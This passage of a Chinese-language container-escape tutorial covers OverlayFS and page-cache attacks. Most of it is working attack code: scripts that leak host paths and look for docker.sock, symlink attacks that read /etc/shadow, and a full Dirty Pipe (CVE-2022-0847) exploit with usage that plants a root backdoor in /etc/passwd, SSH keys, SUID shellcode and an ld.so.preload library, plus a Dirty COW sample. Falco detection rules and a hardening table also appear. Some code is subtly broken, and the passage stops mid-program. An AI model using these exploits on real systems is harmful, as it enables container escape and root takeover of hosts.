HOST_PATHS=""
HOST_PATHS+=$(grep -oP '/var/lib/docker[^,\s]+' /proc/self/mountinfo 2>/dev/null | tr '\n' ' ')
HOST_PATHS+=$(grep -oP '/var/lib/containerd[^,\s]+' /proc/self/mountinfo 2>/dev/null | tr '\n' ' ')
HOST_PATHS+=$(grep -oP '/home/[^,\s]+' /proc/self/mountinfo 2>/dev/null | tr '\n' ' ')
HOST_PATHS+=$(grep -oP '/data/[^,\s]+' /proc/self/mountinfo 2>/dev/null | tr '\n' ' ')
if [ -n "$HOST_PATHS" ]; then
echo " [!] 发现以下宿主机路径可能的泄漏:"
for p in $HOST_PATHS; do
echo " $p"
done
echo " 攻击者可以利用这些路径:"
echo " 1. 推断宿主机文件系统布局"
echo " 2. 寻找其他可写的宿主机目录"
echo " 3. 结合其他漏洞实现逃逸"
else
echo " [+] 未发现明显的宿主机路径泄漏"
fi
# 4. 检查 OverlayFS 写权限
echo ""
echo "[4] 文件写操作行为检查"
echo " 创建测试文件..."
TEST_FILE="/tmp/.overlay_test_$$"
echo "test" > "$TEST_FILE" 2>/dev/null
if [ -f "$TEST_FILE" ]; then
echo " [+] 容器上层 (upperdir) 可写 (正常行为)"
rm -f "$TEST_FILE"
# 检查写入是否会影响 lowerdir
echo " 注意: 写操作只影响 upperdir,不会修改只读的 lowerdir 中的原始文件"
fi
# 5. 符号链接风险检查
echo ""
echo "[5] 符号链接悬垂检查"
find / -type l ! -exec test -e {} \; -print 2>/dev/null | head -10 | while read symlink; do
target=$(readlink "$symlink" 2>/dev/null)
echo " [!] 悬垂符号链接: $symlink → $target"
done
echo ""
echo "=========================================="
echo " 检查完成"
echo "=========================================="
5.4 逃逸利用技术
perdir 路径泄漏
#!/bin/bash
# escape-overlay-path-leak.sh
# OverlayFS 宿主机路径泄漏利用
#
# 前置条件:
# 1. /proc/self/mountinfo 可见 (容器默认可见)
# 2. 宿主机 upperdir 上层目录可访问 (例如通过 bind mount)
# 3. 或可利用 upperdir 路径进行其他攻击 (如 shared mount)
echo "[*] OverlayFS 路径泄漏利用"
echo "=========================="
# 第1步: 提取宿主机路径
echo "[1] 提取宿主机 OverlayFS 路径..."
UPPERDIR=$(grep -oP 'upperdir=[^,]+' /proc/self/mountinfo | head -1 | sed 's/upperdir=//')
WORKDIR=$(grep -oP 'workdir=[^,]+' /proc/self/mountinfo | head -1 | sed 's/workdir=//')
if [ -z "$UPPERDIR" ]; then
echo " [-] 无法提取 upperdir 路径"
exit 1
fi
echo " upperdir: $UPPERDIR"
echo " workdir: $WORKDIR"
# 第2步: 推断 Docker 数据目录
echo "[2] 推断宿主机目录结构..."
DOCKER_ROOT=$(echo "$UPPERDIR" | grep -oP '/var/lib/docker[^/]*' | head -1)
echo " Docker 数据目录: $DOCKER_ROOT"
# 第3步: 检查是否有共享挂载 (shared mount)
echo "[3] 检查共享挂载..."
SHARED_MOUNTS=$(grep "shared:" /proc/self/mountinfo 2>/dev/null | grep "$DOCKER_ROOT")
if [ -n "$SHARED_MOUNTS" ]; then
echo " [!] 检测到共享挂载 (可能允许跨容器操作):"
echo "$SHARED_MOUNTS" | head -5
fi
# 第4步: 利用路径信息
echo "[4] 可能的利用路径:"
echo " 1. 如果宿主机 upperdir 是共享挂载 → 修改其他容器文件"
echo " 2. 推断宿主机 Docker 数据目录 → 寻找 docker.sock"
echo " 3. 分析 workdir 结构 → 寻找未清理的临时文件"
echo " 4. 结合 bind mount → 构建从容器到宿主机的路径"
# 第5步: 尝试访问宿主机 Docker socket
echo "[5] 尝试找到 docker.sock..."
for sock_path in \
/var/run/docker.sock \
/run/docker.sock \
/var/lib/docker/docker.sock; do
if [ -S "$sock_path" ]; then
echo " [!] 发现 docker.sock: $sock_path"
echo " 可以直接执行: docker -H unix://$sock_path ps"
fi
done
Copy-up 竞态条件
/*
* escape-overlay-race.c
* OverlayFS copy-up 竞态条件利用 (概念代码)
*
* 攻击原理:
* OverlayFS 的 copy-up 操作不是原子的。
* 在文件从 lowerdir 复制到 upperdir 的过程中,
* 攻击者可以修改 between copy-up intervals 的关键数据。
*
* 前置条件:
* - 容器内 root 权限
* - 可写入触发 copy-up 的文件
* - 内核版本存在已知的 copy-up 竞态漏洞
*
* 编译: gcc -pthread -o overlay_race overlay-race.c
*
* 警告: 仅用于授权安全测试!
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#define TARGET_FILE "/tmp/race_target"
#define ITERATIONS 100000
static volatile int stop = 0;
/*
* 线程 1: 不断触发 copy-up
* 每次写入触发从 lowerdir 到 upperdir 的 copy-up
*/
void *trigger_copy_up(void *arg) {
char buf[64] = {0};
while (!stop) {
int fd = open(TARGET_FILE, O_WRONLY | O_APPEND);
if (fd >= 0) {
write(fd, "X", 1);
close(fd);
}
}
return NULL;
}
/*
* 线程 2: 在 copy-up 期间尝试操作
* 竞态窗口:
* [ovl_copy_up_start] → [ovl_copy_up_data] → [ovl_copy_up_end]
* ↑ 竞态窗口 ↑
*/
void *exploit_race(void *arg) {
struct stat st;
while (!stop) {
/* 尝试在 copy-up 期间访问文件 */
int fd = open(TARGET_FILE, O_RDONLY);
if (fd >= 0) {
/* 如果 copy-up 尚未完成,可能读取到不一致的数据 */
fstat(fd, &st);
close(fd);
}
/* 尝试符号链接攻击 */
unlink(TARGET_FILE);
symlink("/etc/shadow", TARGET_FILE);
/* 如果成功,下一次 copy-up 将 shadow 文件复制到 upperdir */
}
return NULL;
}
int main() {
pthread_t th1, th2;
printf("[*] OverlayFS Copy-up 竞态条件攻击\n");
printf("[*] 目标文件: %s\n", TARGET_FILE);
printf("[*] 迭代次数: %d\n", ITERATIONS);
printf("[*] 开始竞态攻击...\n");
/* 创建测试文件 */
int fd = open(TARGET_FILE, O_CREAT | O_WRONLY, 0644);
write(fd, "initial\n", 8);
close(fd);
/* 启动竞态线程 */
pthread_create(&th1, NULL, trigger_copy_up, NULL);
pthread_create(&th2, NULL, exploit_race, NULL);
/* 运行一段时间 */
sleep(30);
stop = 1;
/* 等待线程结束 */
pthread_join(th1, NULL);
pthread_join(th2, NULL);
printf("[*] 攻击完成\n");
printf("[*] 检查 %s 是否已变成符号链接\n", TARGET_FILE);
return 0;
}
符号链接攻击
#!/bin/bash
# escape-overlay-symlink.sh
# OverlayFS 符号链接攻击
#
# 前置条件:
# 1. 容器内的 OverlayFS upperdir 可写
# 2. 可以利用符号链接穿越 OverlayFS 层次
echo "[*] OverlayFS 符号链接攻击"
echo "=========================="
# 方法 1: 符号链接指向宿主机文件 (如果路径可达)
echo "[1] 尝试创建指向宿主机敏感文件的符号链接..."
# 宿主机路径可能通过 mountinfo 泄漏
HOST_PATHS=$(grep -oP 'upperdir=[^,]+' /proc/self/mountinfo | head -1 | sed 's/upperdir=//')
if [ -n "$HOST_PATHS" ]; then
echo " 宿主机路径: $HOST_PATHS"
# 尝试创建指向宿主机 /etc/shadow 的符号链接
# 如果容器有路径访问,符号链接将在宿主机上下文中解析
TARGET="/tmp/.hostfile_link_$$"
ln -s "/etc/shadow" "$TARGET" 2>/dev/null
if [ -L "$TARGET" ]; then
echo " [!] 符号链接已创建: $TARGET → /etc/shadow"
cat "$TARGET" 2>/dev/null | head -5
fi
fi
# 方法 2: 通过符号链接创建逃逸文件
echo "[2] 利用符号链接创建逃逸文件..."
# 在 upperdir 中创建指向宿主机的符号链接
# 当宿主机上的其他进程访问此路径时,操作可能发生在宿主机文件系统上
# 方法 3: 符号链接 + shared mount 组合
echo "[3] 检查 shared mount..."
SHARED=$(grep "shared:" /proc/self/mountinfo 2>/dev/null | head -5)
if [ -n "$SHARED" ]; then
echo " [!] 检测到 shared mount"
echo " 如果 upperdir 是 shared mount,在容器中创建的文件/符号链接"
echo " 可能在宿主机上可见并可访问"
fi
echo "[*] 符号链接攻击总结:"
echo " - 在 OverlayFS upperdir 中创建符号链接指向宿主机路径"
echo " - 如果宿主机能够通过 shared mount 或其他方式访问 upperdir"
echo " - 攻击者可以:
1) 读取宿主机文件
2) 通过符号链接写入宿主机文件
3) 创建恶意 SUID 二进制文件影响宿主环境"
5.5 实验复现
实验 5.5.1 — OverlayFS 信息收集与路径泄漏
# 创建容器
docker run -dit --name overlay-test alpine:latest
docker exec -it overlay-test /bin/sh
# 检查 OverlayFS 挂载信息
cat /proc/self/mountinfo | grep overlay
# overlay on / type overlay ...
# 从输出中可以提取:
# upperdir=/var/lib/docker/overlay2/<id>/diff ← 宿主机路径!
# workdir=/var/lib/docker/overlay2/<id>/work
# 从 mountinfo 中提取宿主机路径
grep -oP 'upperdir=[^,]+' /proc/self/mountinfo
grep -oP 'workdir=[^,]+' /proc/self/mountinfo
实验 5.5.2 — copy-up 权限继承问题
# 在宿主机上准备 OverlayFS 测试环境
docker run --rm -v /tmp/overlay-lab:/out alpine sh -c '
mkdir -p /out/lower /out/upper /out/work /out/merged
echo "owned by root" > /out/lower/test.txt
chmod 600 /out/lower/test.txt
'
# 手动挂载 OverlayFS 查看行为
mkdir -p /tmp/overlay-lab/merged
mount -t overlay overlay \
-o lowerdir=/tmp/overlay-lab/lower,upperdir=/tmp/overlay-lab/upper,workdir=/tmp/overlay-lab/work \
/tmp/overlay-lab/merged
# 在 merged 视图中修改文件
echo "modified" > /tmp/overlay-lab/merged/test.txt
# 文件被 copy-up 到 upper 层
ls -la /tmp/overlay-lab/upper/
# test.txt 出现在 upper 层,权限可能被改变
# 验证: original 在 lower 中保持不变
cat /tmp/overlay-lab/lower/test.txt # "owned by root"
cat /tmp/overlay-lab/upper/test.txt # "modified"
# 清理
umount /tmp/overlay-lab/merged 2>/dev/null
rm -rf /tmp/overlay-lab
实验 5.5.3 — 利用 OverlayFS 信息进行进一步攻击
# 回到容器中
docker exec -it overlay-test /bin/sh
# 从 mountinfo 提取路径后,寻找可能的共享挂载
cat /proc/self/mountinfo | grep -E 'shared:[0-9]+'
# 如果检测到 shared mount,检查宿主机 Docker 配置
UPPERDIR=$(grep -oP 'upperdir=[^,]+' /proc/self/mountinfo | head -1 | sed 's/upperdir=//')
echo "Upperdir 路径: $UPPERDIR"
# 推断宿主机 Docker 根目录
echo "$UPPERDIR" | grep -oP '^/var/lib/docker[^/]*'
# 清理
exit
docker stop overlay-test && docker rm overlay-test
5.6 检测规则
# falco-rules-overlayfs.yaml
# OverlayFS 操作检测规则
- rule: OverlayFS Path Leakage Detection
desc: 检测容器内读取 mountinfo (OverlayFS 路径泄漏)
condition: >
container and
(open_read and fd.name = "/proc/self/mountinfo") and
not proc.name in (docker, dockerd, containerd, runc, systemd)
output: >
[OverlayFS] 读取 mountinfo (宿主机路径泄漏)
container=%container.name
user=%user.name
command=%proc.cmdline
priority: WARNING
tags: [container, overlayfs, information_disclosure]
- rule: Symbolic Link to Sensitive Files
desc: 检测创建指向敏感文件的符号链接
condition: >
container and
syscall = symlink and
(evt.arg.target contains "/etc/shadow" or
evt.arg.target contains "/etc/passwd" or
evt.arg.target contains "/root/")
output: >
[OverlayFS] 创建指向敏感文件的符号链接!
container=%container.name
user=%user.name
target=%evt.arg.target
link=%evt.arg.linkpath
priority: HIGH
tags: [container, overlayfs, symlink, escape]
- rule: Docker Data Directory Access
desc: 检测访问 Docker 数据目录
condition: >
container and
(open_read and (
fd.name contains "/var/lib/docker/" or
fd.name contains "/var/lib/containerd/"))
output: >
[OverlayFS] 访问 Docker 数据目录!
container=%container.name
user=%user.name
path=%fd.name
command=%proc.cmdline
priority: HIGH
tags: [container, overlayfs, docker_data]
5.7 加固方案
| 加固措施 | 具体操作 | 防御层级 | 效果 |
|---|---|---|---|
| 隐藏 mountinfo | mount -o remount,nosuid,nodev,hidepid=2 /proc |
内核层 | 限制非特权用户读取 mountinfo |
| OverlayFS redirect_dir 禁用 | redirect_dir=off 挂载选项 |
文件系统层 | 减少符号链接攻击面 |
| xino=on | 启用扩展 inode 编号 | 文件系统层 | 减轻同 inode 号导致的竞态 |
| 只读文件系统 | docker run --read-only |
容器层 | 消除 upperdir 写入 |
| AppArmor 配置 | 禁止对 Docker 数据目录的访问 | LSM 层 | 强制访问控制 |
| UserNS remap | userns-remap: default |
Docker 配置 | upperdir 映射为非特权用户目录 |
Docker daemon.json OverlayFS 安全配置:
{
"storage-driver": "overlay2",
"storage-opts": [
"overlay2.override_kernel_check=true"
],
"userns-remap": "default",
"icc": false,
"live-restore": true
}
第六章 页缓存与管道 — 共享内核全局数据
关键理解: 所有进程共享同一个物理内存。页缓存(Page Cache)和管道缓冲区(pipe_buffer)是内核管理的全局数据结构。
splice()系统调用实现零拷贝传输,直接在页缓存层面操作,绕过了通常的进程隔离。当标志位管理不当时,攻击者可以在不持有文件写权限的情况下修改文件内容。
6.1 设计原理与内核实现
Page Cache (页缓存)
Page Cache 是 Linux 内核的核心缓存机制。当进程读取文件时,内核将磁盘数据加载到内存中的"页"(通常 4KB),后续的读写操作都通过这个缓存页进行。
核心原理: Page Cache 是全局共享的 — 同一文件在内存中只有一份缓存页拷贝,所有进程共享。这一设计对性能至关重要,但也意味着容器间的数据可以通过页缓存"泄漏"。
// linux/include/linux/fs.h
// 地址空间 — 管理文件在内存中的页缓存
struct address_space {
struct inode *host; /* 所属的 inode */
struct xarray i_pages; /* 页缓存索引 (radix tree → xarray) */
gfp_t gfp_mask; /* 内存分配标志 */
atomic_t i_mmap_writable; /* 可写映射计数 */
struct rb_root_cached i_mmap; /* 私有映射树 (VMAs) */
struct rw_semaphore i_mmap_rwsem; /* 锁 */
unsigned long nrpages; /* 页总数 */
pgoff_t writeback_index; /* 回写起始 */
const struct address_space_operations *a_ops; /* 操作集合 */
unsigned long flags; /* 状态标志 */
errseq_t wb_err;
spinlock_t private_lock;
struct list_head private_list;
void *private_data;
};
// linux/include/linux/mm_types.h
// 物理内存页描述符
struct page {
unsigned long flags; /* 原子标志 (PG_locked, PG_dirty, PG_uptodate...) */
union {
struct {
struct list_head lru; /* LRU 链表 */
struct address_space *mapping; /* 所属的 address_space */
pgoff_t index; /* 在文件中的偏移 */
unsigned long private; /* 文件系统私有数据 */
};
struct { /* slab/slub 分配器 */
void *s_mem;
unsigned int active;
};
};
union {
atomic_t _mapcount; /* 页表映射计数 */
unsigned int page_type;
};
atomic_t _refcount; /* 引用计数 */
};
// 全局共享意味着:
// 1. 进程 A 读取文件 file.txt, 内核从磁盘加载 → Page Cache
// 2. 进程 B 读取同一文件 file.txt, 内核从 Page Cache 返回
// 3. 进程 A 修改 Page Cache 中的数据, 进程 B 随后读取会看到修改
// 4. 这个特性被 CVE-2022-0847 (Dirty Pipe) 利用!
6.2 管道缓冲区与 splice 零拷贝
管道缓冲区
// linux/include/linux/pipe_fs_i.h
// 管道内部缓冲区, 每个管道有一组这样的页面
struct pipe_buffer {
struct page *page; /* 数据所在的物理内存页 */
unsigned int offset; /* 页面内的数据起始偏移 */
unsigned int len; /* 有效数据长度 */
unsigned int flags; /* 标志位 (关键!) */
const struct pipe_buf_operations *ops; /* 操作函数表 */
};
// 标志位定义
#define PIPE_BUF_FLAG_LRU 0x01 /* 页面在 LRU 链表中 */
#define PIPE_BUF_FLAG_ATOMIC 0x02 /* 原子操作, 不可拆分 */
#define PIPE_BUF_FLAG_GIFT 0x04 /* 赠予的页面, 可回收 */
#define PIPE_BUF_FLAG_PACKET 0x08 /* 数据包边界 */
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* ← 核心! 允许合并写入
CVE-2022-0847 的根因!
此标志未被正确清零 */
splice 零拷贝机制
普通读写 vs splice 零拷贝:
普通写入 (两次拷贝):
用户态buf → 内核态copy → 管道缓冲区 → 用户态copy → 目标文件
splice 写入 (零拷贝, 共享页):
页缓存的page ←→ 管道 buffer (共享同一物理页!)
↑
splice() 直接引用页缓存页
不拷贝数据, 只传递 page 指针!
// linux/fs/splice.c
// splice 系统调用: 在两个文件描述符之间传输数据
// 不使用用户态缓冲区, 完全在内核态完成
SYSCALL_DEFINE6(splice, int, fd_in, loff_t __user *, off_in,
int, fd_out, loff_t __user *, off_out,
size_t, len, unsigned int, flags)
{
struct fd in, out;
long error;
if (unlikely(!len))
return 0;
/* 获取文件描述符 */
error = -EBADF;
in = fdget(fd_in);
if (!in.file)
goto out;
out = fdget(fd_out);
if (!out.file)
goto out_put_in;
/* 执行 splice 操作 */
error = do_splice(in.file, off_in, out.file, off_out, len, flags);
fdput(out);
out_put_in:
fdput(in);
out:
return error;
}
6.3 逃逸利用:Dirty Pipe (CVE-2022-0847) 漏洞根因
漏洞根因分析
Dirty Pipe 漏洞的根本原因:
1. pipe_write() 中, 当向管道写入数据时, 检查缓冲区是否有可合并的空间:
- 如果 pipe_buffer.flags & PIPE_BUF_FLAG_CAN_MERGE 为真
- 且写入的数据与缓冲区页面匹配
- 则直接将数据追加到现有页面中
2. splice() 将文件页缓存的页面 "借给" 管道:
- splice(file, pipe) → 将文件页缓存的 page 指针放入 pipe_buffer
- 这个页面可能属于只读文件!
- pipe_buffer 的 flags 设置为 PIPE_BUF_FLAG_CAN_MERGE
3. 攻击者随后向管道写入数据:
- pipe_write() 看到 CAN_MERGE 标志
- 合并写入到共享的页缓存页面
- 修改了只读文件的页缓存内容! ← 这就是漏洞!
4. 由于 Page Cache 是全局的:
- 容器 A 修改页缓存
- 宿主机和所有其他容器看到的同一文件内容被改变!
Dirty Pipe 数据流图:
┌──────────────────────────┐
│ 宿主机磁盘 │
│ /etc/passwd (只读文件) │
└──────────┬───────────────┘
│ read()
┌──────────▼───────────────┐
│ Page Cache (全局) │
│ page for /etc/passwd │
│ 内容: "root:x:0:0:..." │
└──────────────────────────┘
│ ▲
splice() ┌─────┘ └─────┐ pipe_write()
(借出页面)│ │ (合并写入!)
┌────────▼──────────┐ ┌────────────┴──────────┐
│ pipe_buffer[0] │ │ pipe_buffer[0] │
│ .page = &passwd │ │ .page = &passwd │
│ .flags = CAN_MERGE│ │ + 写入 "backdoor::" │
│ .len = 4096 │ │ .len = 4096 + 20 │
└───────────────────┘ └───────────────────────┘
│
Page Cache 被修改!
/etc/passwd 现在含 "backdoor::0:0:..."
宿主机和所有容器看到修改后的内容!
6.4 完整 Exploit C 代码
/*
* dirty-pipe-exploit.c — CVE-2022-0847 Dirty Pipe 完整利用代码
*
* 漏洞: CVE-2022-0847 (Dirty Pipe)
* 影响: Linux Kernel 5.8 - 5.16.11, 5.15.25, 5.10.102
* 修复: 5.16.12, 5.15.26, 5.10.103
*
* 攻击原理:
* 利用 pipe_buffer 中未清零的 PIPE_BUF_FLAG_CAN_MERGE 标志,
* 通过 splice + write 组合修改只读文件的页缓存内容,
* 实现对宿主机敏感文件的篡改 (如 /etc/passwd, SUID binary 等).
*
* 前置条件:
* 1. 内核版本: 5.8 - 5.16.11 (受影响版本)
* 2. 对目标文件有读权限 (任何用户都有对 /etc/passwd 的读权限)
* 3. 管道写权限
* 4. 找到目标文件的一个可写偏移 (通常是文件开头附近有合适的内容)
*
* 编译:
* gcc -o dirty-pipe-exploit dirty-pipe-exploit.c -Wall
*
* 用法:
* ./dirty-pipe-exploit /etc/passwd 1 'backdoor::0:0::/root:/bin/bash'
* (将 "backdoor::0:0::/root:/bin/bash" 写入 /etc/passwd 第1字节之后)
*
* 警告: 仅用于授权安全测试和学术研究!
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <stdint.h>
/* 管道页面大小 (通常 4096, 即 PIPE_BUF) */
#define PIPE_BUF_SIZE 4096
/**
* hax — Dirty Pipe 核心利用函数
*
* @param data — 要写入的 payload 数据
* @param data_size — payload 长度
* @param target_file— 目标文件路径 (如 /etc/passwd)
* @param offset — 文件中开始覆盖的偏移位置
* 注意: 必须是页面对齐偏移的末尾,
* 即: offset 之后的文件内容将被覆盖
*
* 返回值: 0 成功, -1 失败
*/
int hax(unsigned char *data, unsigned int data_size,
const char *target_file, loff_t offset)
{
loff_t splice_off = offset; /* splice 的起始偏移 */
int pipefd[2]; /* 管道文件描述符 */
int file_fd; /* 目标文件描述符 */
ssize_t nbytes;
int page_size;
unsigned int splice_size;
printf("=== CVE-2022-0847 Dirty Pipe Exploit ===\n");
printf("[*] 目标文件: %s\n", target_file);
printf("[*] 写入偏移: %ld (0x%lx)\n", offset, offset);
printf("[*] Payload 大小: %d 字节\n", data_size);
/* 第1步: 创建管道 */
if (pipe(pipefd) < 0) {
perror("[-] pipe()");
return -1;
}
printf("[1] 管道已创建: fd[%d, %d]\n", pipefd[0], pipefd[1]);
/* 第2步: 用任意数据填充管道 (填满一个页面) */
page_size = fpathconf(pipefd[1], _PC_PIPE_BUF);
if (page_size <= 0)
page_size = PIPE_BUF_SIZE;
{
unsigned char fill_buf[PIPE_BUF_SIZE];
memset(fill_buf, 'A', page_size);
/* 循环写入直到管道满 */
unsigned int total = 0;
while (total < page_size) {
nbytes = write(pipefd[1], fill_buf, page_size - total);
if (nbytes < 0) {
perror("[-] write() fill pipe");
close(pipefd[0]);
close(pipefd[1]);
return -1;
}
total += nbytes;
}
}
printf("[2] 管道已填满 (%d 字节)\n", page_size);
/* 第3步: 从管道读取所有数据, 清空缓冲区 */
{
unsigned char drain_buf[PIPE_BUF_SIZE];
while (read(pipefd[0], drain_buf, page_size) > 0) {
/* 继续读取直到管道空 */
}
}
printf("[3] 管道已排空, 所有缓冲区保留 CAN_MERGE 标志\n");
/* 第4步: 打开目标文件 */
file_fd = open(target_file, O_RDONLY);
if (file_fd < 0) {
perror("[-] open() target file");
close(pipefd[0]);
close(pipefd[1]);
return -1;
}
printf("[4] 目标文件已打开: fd=%d\n", file_fd);
/* 第5步: 使用 splice 将文件页缓存 "借给" 管道
*
* splice(file_fd, &splice_off, pipefd[1], NULL, size, SPLICE_F_MOVE)
*
* 关键: SPLICE_F_MOVE 提示内核可以重用页面
* 内核将文件页缓存的 page 指针放入 pipe_buffer
* flags 包含 PIPE_BUF_FLAG_CAN_MERGE ← 漏洞!!!
*/
splice_size = page_size;
nbytes = splice(file_fd, &splice_off,
pipefd[1], NULL,
splice_size, SPLICE_F_MOVE);
if (nbytes < 0) {
perror("[-] splice()");
close(file_fd);
close(pipefd[0]);
close(pipefd[1]);
return -1;
} else if (nbytes == 0) {
fprintf(stderr, "[-] splice 传输了 0 字节 (文件结束?)\n");
close(file_fd);
close(pipefd[0]);
close(pipefd[1]);
return -1;
}
printf("[5] splice() 完成: 从文件传了 %ld 字节到管道\n", nbytes);
/* 第6步: 向管道写入 payload
*
* pipe_write() 检测到 CAN_MERGE 标志:
* 1. 找到匹配的 pipe_buffer (共享文件页缓存的)
* 2. 直接将 payload 数据写入该页
* 3. 不触发 copy-on-write!
* 4. 页缓存被修改 → 文件内容永久改变!
*/
nbytes = write(pipefd[1], data, data_size);
if (nbytes < 0) {
perror("[-] write() payload");
close(file_fd);
close(pipefd[0]);
close(pipefd[1]);
return -1;
}
printf("[6] Payload 已写入管道 (%ld 字节)\n", nbytes);
printf("[!] 页缓存已修改 — 所有进程看到的文件内容已改变!\n");
/* 第7步: 验证 — 重新读取文件确认修改 */
{
unsigned char verify_buf[128];
int verify_fd = open(target_file, O_RDONLY);
if (verify_fd >= 0) {
ssize_t r = pread(verify_fd, verify_buf,
sizeof(verify_buf) - 1, offset);
if (r > 0) {
verify_buf[r] = '\0';
printf("[7] 验证读取 (偏移 %ld):\n", offset);
printf(" %s\n", verify_buf);
}
close(verify_fd);
}
}
/* 清理 */
close(file_fd);
close(pipefd[0]);
close(pipefd[1]);
printf("=== 利用完成 ===\n");
printf("[*] %s 已被修改\n", target_file);
printf("[*] 可以在宿主机上验证: cat %s\n", target_file);
return 0;
}
/**
* main — Dirty Pipe Exploit 入口
*
* 用法示例:
*
* 1) 添加后门用户到 /etc/passwd:
* ./dirty-pipe-exploit /etc/passwd 1 $'backdoor::0:0::/root:/bin/bash\n'
*
* 2) 修改 SUID 程序 (如 /usr/bin/passwd) 使其执行 /bin/sh:
* ./dirty-pipe-exploit /usr/bin/passwd 0x1000 $'...shellcode...'
*
* 3) 修改 docker 的 authorized_keys:
* ./dirty-pipe-exploit /root/.ssh/authorized_keys 0 'ssh-rsa AAAA...'
*/
int main(int argc, char *argv[])
{
loff_t offset;
char *endptr;
if (argc < 4) {
fprintf(stderr, "用法: %s <target_file> <offset> <data>\n", argv[0]);
fprintf(stderr, "\n示例:\n");
fprintf(stderr, " 写入 /etc/passwd (偏移1字节后):\n");
fprintf(stderr, " %s /etc/passwd 1 'backdoor::0:0::/root:/bin/bash'\n", argv[0]);
fprintf(stderr, "\n 写入 SSH key:\n");
fprintf(stderr, " %s /root/.ssh/authorized_keys 1 'ssh-rsa AAA...'\n", argv[0]);
return 1;
}
offset = strtoull(argv[2], &endptr, 0);
if (*endptr != '\0') {
fprintf(stderr, "[-] 无效的偏移值: %s\n", argv[2]);
return 1;
}
fprintf(stderr, "[*] Dirty Pipe 容器逃逸攻击\n");
fprintf(stderr, "[*] ========================\n");
fprintf(stderr, "[*] 目标: %s @ offset %lld\n", argv[1], (long long)offset);
fprintf(stderr, "[*] 数据: %s\n", argv[3]);
return hax((unsigned char *)argv[3], strlen(argv[3]), argv[1], offset);
}
攻击场景扩展
#!/bin/bash
# dirty-pipe-attack-scenarios.sh
# CVE-2022-0847 攻击场景扩展示例
echo "[*] Dirty Pipe 攻击场景"
echo "======================="
echo ""
echo "场景 1: 添加 root 后门到 /etc/passwd"
echo " ./dirty-pipe-exploit /etc/passwd 1 \$'backdoor::0:0::/root:/bin/bash\\n'"
echo " 然后: su backdoor # 直接获取 root shell, 无需密码!"
echo ""
echo "场景 2: 修改 SUID 二进制 (如 /usr/bin/newgrp)"
echo " ./dirty-pipe-exploit /usr/bin/newgrp 0x1200 '\x31\xc0\x48\xbb...'"
echo " # 将 shellcode 写入 SUID 程序, 执行时获取 root shell"
echo ""
echo "场景 3: 注入 SSH authorized_keys"
echo " ./dirty-pipe-exploit /root/.ssh/authorized_keys 0 'ssh-rsa AAAAB3...'"
echo " # 然后: ssh root@宿主机 (免密登录!)"
echo ""
echo "场景 4: 修改 /etc/shadow 清空 root 密码"
echo " ./dirty-pipe-exploit /etc/shadow 0 'root::0:0:root:/root:/bin/bash'"
echo " # root 密码被清空, 无需密码登录"
echo ""
echo "场景 5: 修改 /etc/ld.so.preload"
echo " echo '/tmp/evil.so' > /tmp/preload_data"
echo " ./dirty-pipe-exploit /etc/ld.so.preload 0 \"\$(cat /tmp/preload_data)\""
echo " # 所有新启动的进程都会加载恶意共享库 evil.so!"
echo ""
6.5 实验复现
实验 6.5.1 — Dirty COW (CVE-2016-5195)
# 检查内核版本
uname -r
# 内核 < 4.8.3 且 >= 2.6.22 受影响
# 创建非特权容器(Dirty COW 不需要特权!)
docker run -dit --name dirty-cow-test alpine:latest
docker exec -it dirty-cow-test /bin/sh
# exploit 核心逻辑
cat > /tmp/dirtycow_exploit.c << 'EXPLOIT'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
void *map;
int fd;
pthread_t pth;
void *write_thread(void *arg) {
char *content = "hacker:x:0:0:root:/root:/bin/bash\n";
off_t offset = (off_t)arg;
int f = open("/etc/passwd", O_RDONLY);
while (1) {
lseek(f, offset, SEEK_SET);
write(f, content, strlen(content));
}
}
int main(int argc, char *argv[]) {
struct stat st;
int f = open("/etc/passwd", O_RDONLY);
fstat(f, &st);
// mmap 只读映射
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
// 竞态写入线程
pthread_create(&pth, NULL, write_thread, (void*)0);
// 竞争: madvise 释放原始页
while (1) {
madvise(map, 100, MADV_DONTNEED);
}
return 0;
}
EXPLOIT
echo "[*] 此 exploit 仅为原理演示"
echo "[*] 实际利用需要根据宿主机内核版本调整"
为什么 Dirty COW 对容器特别重要:
- 不需要任何容器特殊配置(无 privileged、无 socket、无 capabilities)
- 可以篡改宿主机的
/etc/passwd、/etc/shadow、SUID 二进制文件 - 因为容器和宿主机共享内核,内核的页缓存也是共享的
实验 6.5.2 — Dirty Pipe (CVE-2022-0847) 完整实验
# 检查内核版本
uname -r
# 受影响: 5.8.0 ~ 5.16.11
# 修复版本: 5.16.12, 5.15.25, 5.10.102
# 创建非特权容器!
docker run -dit --name dirty-pipe-test alpine:latest
docker exec -it dirty-pipe-test /bin/sh
# 安装编译工具
apk add --no-cache gcc musl-dev linux-headers
# 完整 exploit 代码
cat > /tmp/dirty_pipe.c << 'EXPLOIT'
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>
#define PAGE_SIZE 4096
int main(int argc, char *argv[]) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <target_file>\n", argv[0]);
fprintf(stderr, "Example: %s /etc/passwd\n", argv[0]);
return 1;
}
const char *target = argv[1];
int pipefd[2];
// Step 1: 创建管道
if (pipe(pipefd) < 0) {
perror("pipe");
return 1;
}
// Step 2: 填满管道,确保所有 buffer slot 被使用
for (int i = 0; i < 16; i++) {
char buf[PAGE_SIZE];
memset(buf, 'A', PAGE_SIZE);
if (write(pipefd[1], buf, PAGE_SIZE) != PAGE_SIZE) {
perror("fill pipe");
return 1;
}
}
// Step 3: 释放部分 buffer (释放 14 个,保留 2 个的 CAN_MERGE 标志)
for (int i = 0; i < 1; i++) {
char buf[PAGE_SIZE];
if (read(pipefd[0], buf, PAGE_SIZE) != PAGE_SIZE) {
perror("drain pipe");
return 1;
}
}
